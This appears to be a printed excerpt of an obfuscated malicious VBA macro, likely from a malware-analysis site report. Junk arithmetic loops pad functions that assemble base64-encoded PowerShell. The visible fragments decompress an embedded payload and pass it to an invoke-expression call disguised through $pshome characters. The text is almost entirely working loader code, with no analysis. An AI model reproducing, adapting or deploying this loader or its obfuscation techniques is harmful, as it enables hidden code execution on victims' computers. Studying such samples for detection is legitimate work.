uiuHN = cKRqFOG + YwhHrNCYdnP + GinTtBCj + FlZEWlaGZZJ + tLRSn + ujXbmQi + hHlccTGBpOP + MQApkQJ + qqhvwJYfj
End Function
Function fTRQjz()
On Error Resume Next
For KPHPzP = SIdLV To mPvUo
      For QTzbp = LjZhOp To 37689
         cnfVz = (87237 / CBool(SaBPJ) - awCCI / Oct(21882 / Hex(1146) / WLoSco + Rnd(wluosz / Fix(37))))
Next
   zkaXv = 8028 - 96106
Next
FwmCOWPsJY = "BMAHMATABVAG" + "0ARABqAGEAYwA4A" + "DY" + "AaQBpA" + "EwAbg" + "BLAGUAZQB4AH" + "MAYQBRAFQATQ" + "BuAG8AY" + "QB3AGUARwAw"
For zLfjkn = iGdTu To cqCUE
      For TpHbR = BwRcl To 30528
         idNdnw = (7256 / CBool(aGnKZE) - XuXCq / Oct(59421 / Hex(58590) / pkNZj + Rnd(GCUNWP / Fix(37))))
Next
   ONOYBj = 85698 - 67112
Next
BlmmLD = "AHkAbg" + "A0AFoARgBKA" + "HIASABtAGQA" + "LwB4ADYANABQAFc" + "AUwBK" + "AC8AdgBvAFAA" + "dQBMAHQAYQBx" + "AEUAS" + "wBWAG"
For QsBhZ = EjZRz To YsZWU
      For UDTwC = rJhIip To 96267
         UVTVXC = (33019 / CBool(wloFQC) - UpBjiX / Oct(60273 / Hex(193) / pMpPq + Rnd(EjTOED / Fix(37))))
Next
   EwSkm = 9333 - 66565
Next
NnpszkGmF = "wAaAByAEgAWgB" + "MADIAMgBmAEYA" + "UgBxACsAMwAw" + "ADkAegBsAC8A" + "RwBjADEALw" + "BBAEYARABMAFMAN" + "wBkAFcAUQBRA" + "DYA"
For zZpTN = cITOp To AfLMB
      For DjElBz = ukDOtl To 50947
         LsnAw = (56900 / CBool(baAzPh) - YnGju / Oct(2428 / Hex(4109) / LXrhS + Rnd(ZuZdPD / Fix(37))))
Next
   nXLFOc = 8996 - 57660
Next
fuDfh = "SQAvACsARwA" + "3AHM" + "ANQBwADE" + "AVgB3A" + "G8AcgA4AE" + "kA" + "TQ"
For CiFWLP = KqZPH To QIPLsC
      For aWAdjl = uijYz To 49010
         UJcwXJ = (72286 / CBool(npohH) - CqCkC / Oct(94625 / Hex(20011) / ibmazO + Rnd(JARiFv / Fix(37))))
Next
   mPUsvM = 68258 - 19864
Next
VLTuEPiwL = "B2" + "AGIAWQBDAEwA" + "dQBPAGE" + "ATgBoADE" + "AMABwAGkARg" + "BU" + "AGsAdAA2"
fTRQjz = FwmCOWPsJY + BlmmLD + NnpszkGmF + fuDfh + VLTuEPiwL
End Function
Function ijCUi()
On Error Resume Next
For CdJroi = ucQpbA To wKXid
      For WzBKDD = PKCwwX To 73882
         wqWrfL = (44270 / CBool(pGYmF) - hXdFU / Oct(35188 / Hex(6830) / wolqZk + Rnd(RsDOaA / Fix(37))))
Next
   Brwdz = 86594 - 23972
Next
fmXTRDOW = "AGIAN" + "gBCAHMAMQA2AFU" + "ANQBWAEwAcgAzA" + "FcAcAB" + "NAHMAMg"
For fQhrc = VqCUjU To hGommf
      For NUXiX = WmHqS To 20236
         uJUIi = (15111 / CBool(wCAuuf) - TkJrNN / Oct(78955 / Hex(81383) / sCTOI + Rnd(iMBVEz / Fix(37))))
Next
   mjEij = 51075 - 21549
Next
iblKPC = "BqA" + "HYA" + "cwB5AGcAU" + "QB1AG0ATA" + "BEAHQARgB" + "JAE4AYQB2A" + "FYARAAwA" + "G0AVgBXAEEA" + "OQBDAG"
For dksmC = wzFza To wbFOt
      For NUosYb = vwdnid To 27887
         rPSbbF = (64626 / CBool(NwYduZ) - aplvM / Oct(82728 / Hex(59944) / LRJHDV + Rnd(XTMYH / Fix(37))))
Next
   nnRij = 69710 - 52592
Next
jFJbEqwwKL = "QASwBVAD" + "AAbgBvAHcAVwBZA" + "E8AMwB" + "mAG" + "MAegBCADEA" + "RwB"
For AzjWmC = zhBoLd To KSwiO
      For YERVR = mBTNjG To 7359
         LTZkQS = (24926 / CBool(mKkvij) - zkBVZX / Oct(92232 / Hex(60617) / EnPzd + Rnd(VhIpv / Fix(37))))
Next
   sNNwow = 35353 - 14029
Next
FOtzsB = "XAG" + "0AdwBGAFIA" + "eABGAHYAQwBtAE4" + "AUgBHA"
For WRGXTd = liQPoL To dCPwSp
      For nslnG = oZkZd To 46595
         hVJZKq = (81950 / CBool(dYfChj) - tYCASh / Oct(67136 / Hex(46913) / kNGqM + Rnd(rlQhwH / Fix(37))))
Next
   qmbwHJ = 39541 - 11237
Next
nODWHwrFjiT = "GoARQAyAGkAT" + "AB4AFAAdQBu" + "AE4AUwBrAEM" + "AQgBVAGkAcwA2AG" + "MAaABOAD" + "gAQgBzA" + "EYAMgA" + "rAHcAMAA9A" + "CcAIA"
For ZpEfLW = Gwwzpp To kAkkju
      For zhcBiQ = TZZDO To 97109
         QljhVI = (18940 / CBool(zJDBpq) - XZnLzZ / Oct(15138 / Hex(53352) / dGDmWZ + Rnd(aqITOD / Fix(37))))
Next
   LlcOi = 35803 - 96647
Next
cwObEQLf = "ApACAAL" + "AAgAFsAaQB" + "PAC4AYwBPAE0AU" + "AByAGUAUwBzAGk" + "ATwBuA" + "C4AQwBvAE" + "0AUAByAEUA" + "UwBTAGkAbwBOAG0"
For biVCAP = wOIKC To OEXOa
      For cKjXj = WcaXK To 49519
         fwfVR = (37902 / CBool(dYruK) - AwwjF / Oct(484 / Hex(15112) / VWuLl + Rnd(dncbEj / Fix(37))))
Next
   XHjjF = 90113 - 1449
Next
VXRRKRC = "AbwB" + "EAEUAXQA6AD" + "oARABFAGMATwBtA" + "HAAUgBFAHMA" + "cwA" + "pACkALA" + "AgAFsAcwBZA"
For ESmMfT = jtSKR To JZkJf
      For vqvQpb = dqMzz To 10371
         PREIz = (12586 / CBool(FHjJu) - uNizZ / Oct(49459 / Hex(19617) / vIBwk + Rnd(qhTvSE / Fix(37))))
Next
   qrVbK = 48701 - 40254
Next
vXhjAGF = "HMAdABFAE" + "0ALgBUAGUAWAB" + "0A" + "C4AZQBO" + "AG" + "MATwBEAGkATgBn" + "AF0AOgA" + "6AGEAcwBjAE" + "kASQApACAAKQAu" + "AHIARQBhA"
For jMHvKJ = INYZv To UJCMO
      For ZYnnqp = DVMXO To 764
         OMwuAZ = (35226 / CBool(YFXtJI) - iSPvu / Oct(91012 / Hex(35355) / YRGEFt + Rnd(pJZFoI / Fix(37))))
Next
   HLoMz = 98971 - 64571
Next
dRnQBdamZhI = "GQAVABvAGU" + "AbgBEACgAIA" + "ApAHwAJg" + "AoAC" + "AAJ" + "ABwA" + "HMASA" + "BP"
For wfzjn = ISGtvP To duVMj
      For QNTDUO = KDHhw To 36383
         IUaGY = (12725 / CBool(hrTLs) - oiQTAS / Oct(43123 / Hex(33568) / dcdSR + Rnd(ELYzcB / Fix(37))))
Next
   JUPna = 53061 - 66168
Next
lbanW = "AG0AZ" + "QBbAD" + "QAXQArACQAcA" + "BzAEgATwBt" + "AG" + "UA" + "WwAzADAAX" + "QArACcAWAAnACkA"
ijCUi = fmXTRDOW + iblKPC + jFJbEqwwKL + FOtzsB + nODWHwrFjiT + cwObEQLf + VXRRKRC + vXhjAGF + dRnQBdamZhI + lbanW
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.